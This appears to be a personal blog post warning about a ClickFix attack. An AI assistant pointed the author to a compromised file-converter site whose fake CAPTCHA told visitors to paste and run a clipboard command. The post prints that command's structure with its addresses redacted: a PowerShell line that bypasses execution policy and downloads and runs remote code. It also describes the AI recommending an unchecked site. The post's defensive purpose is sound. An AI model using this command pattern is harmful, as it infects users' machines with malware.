How an artificial intelligence assistant recommended a compromised website
An artificial intelligence (AI) assistant directed me to a compromised website while I was looking for a file converter. The site displayed a fake CAPTCHA and instructed me to run a command. I checked the command before executing it and found that it would download malware.
Security researchers call this type of social engineering ClickFix. The incident shows why a website recommendation from an AI assistant still needs a current security check.
The incident
I have been learning computer-aided design (CAD) while developing a hardware product. I needed to open a file that Fusion 360 did not support, so I asked an AI assistant for help.
The assistant suggested changing the file extension, using different software or using an online converter. The first two options did not work. It then directed me to a conversion website.
The site displayed what appeared to be a CAPTCHA. It asked me to complete these steps:
- Press Win+R.
- Press Ctrl+V.
- Press Enter.
By this point, the page had placed a command on my clipboard. The three steps would open the Windows Run dialog, paste the command and execute it.
What the command would do
The command had this structure. I have removed the addresses and payload:
powershell -EP Bypass -c "$a='[REDACTED]';$b='[REDACTED]';iex ((New-Object Net.WebClient).DownloadString(('http://'+$a+$b+$c)))"The -EP Bypass option bypasses the PowerShell execution policy. DownloadString retrieves
code from a remote server, and iex runs the downloaded text as a command. Splitting the
address across variables also makes the destination harder to identify in the page source.
The attack relied on me running the command through my own account. It did not need to exploit a software vulnerability. This makes the user action part of the infection chain and can make conventional detection less effective.
Microsoft Threat Intelligence describes the same ClickFix pattern. Its analysis documents fake verification and error messages that copy a command to the clipboard. The page then tells the user to run it in the Windows Run dialog, a terminal or PowerShell.
Why the recommendation failed
The website had operated as a legitimate tool for years before it was compromised. Its historical reputation therefore gave no assurance about its condition when I visited it.
The assistant recommended the site but did not establish whether it was still safe. This is a general limitation of recommendations based on past information. A domain can be sold, abandoned or compromised after it has earned a good reputation.
AI assistants can also make the recommendation feel more authoritative than an ordinary search result. A search page presents several links for comparison. An assistant often presents one answer in the context of a conversation in which many previous answers were useful. That does not turn an old reputation into a current security assessment.
Checks to make before following an AI recommendation
Treat a website suggested by an AI assistant as a lead. Check the exact domain and its current reputation before using it, especially for downloads, file conversion or account access.
Stop if a website verification asks you to open the Windows Run dialog, a terminal or PowerShell. A CAPTCHA does not need you to paste and execute a local command.
Read clipboard contents before pasting into any interface that can run commands. Do not run a command unless you understand what each part does and trust its source.
These checks remain necessary even when the assistant’s earlier advice was accurate. The assistant can help locate a service, but the current state of that service requires a separate assessment.